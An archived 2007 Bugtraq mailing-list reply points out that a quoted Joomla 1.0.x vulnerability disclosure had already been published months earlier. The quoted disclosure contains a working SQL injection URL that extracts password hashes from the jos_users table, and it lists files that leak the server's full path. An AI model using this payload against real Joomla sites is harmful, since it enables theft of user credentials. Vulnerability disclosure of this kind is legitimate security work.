lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  linux-cve-announce  PHC 
Open Source and information security mailing list archives
 
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [<thread-prev] [day] [month] [year] [list]
Date: Thu, 27 Sep 2007 04:50:47 +0200
From: packet@...ketstormsecurity.org
To: security@...or.net
Cc: bugtraq@...urityfocus.com
Subject: Re: Joomla multiple vulerabilities (1.0.X >= )

This exact mail was also sent out in july..

http://packetstormsecurity.org/0707-exploits/joomla-sql.txt

On Wed, Sep 26, 2007 at 07:09:17PM -0000, security@...or.net wrote:
> Hello
> 
> Joomla multiple vulerabilities
> 
> Discovered By : HACKERS PAL
> Copy rights : HACKERS PAL
> Website : http://www.soqor.net
> Email Address : security (at) soqor (dot) net 
> 
> Affected Versions
> 1.0.X -> tested on 1.0.12
> 
> and 1.5 maybe affected -> not tested but probebly affected
> 
> sql injection
> administrator/popups/pollwindow.php?pollid=1%20union%20select%20password
> %20from%20jos_users/*
> 
> Full path
> 
> Many many in
> includes/
> 
> Examples
> 
> includes/Cache/Lite/Output.php
> 
> includes/patTemplate/patTemplate/Stat.php
> includes/patTemplate/patTemplate/OutputFilter.php
> includes/patTemplate/patTemplate/OutputCache.php
> includes/patTemplate/patTemplate/Modifier.php
> includes/patTemplate/patTemplate/Reader.php
> includes/patTemplate/patTemplate/TemplateCache.php
> .. ETC
> 
> GrEEtZ : DeviL-00 , Dr.ExE , GaCkeR , Sp1deR_Net , Black AttaCk , MiniMan , JareeH BaghdaD , Le Copra;
> Special GrEEtZ For : MohAjali AnD SoQoR.NeT TeaM AnD MemberS;
> 
> End of it :)
> WwW.SoQoR.NeT

Powered by blists - more mailing lists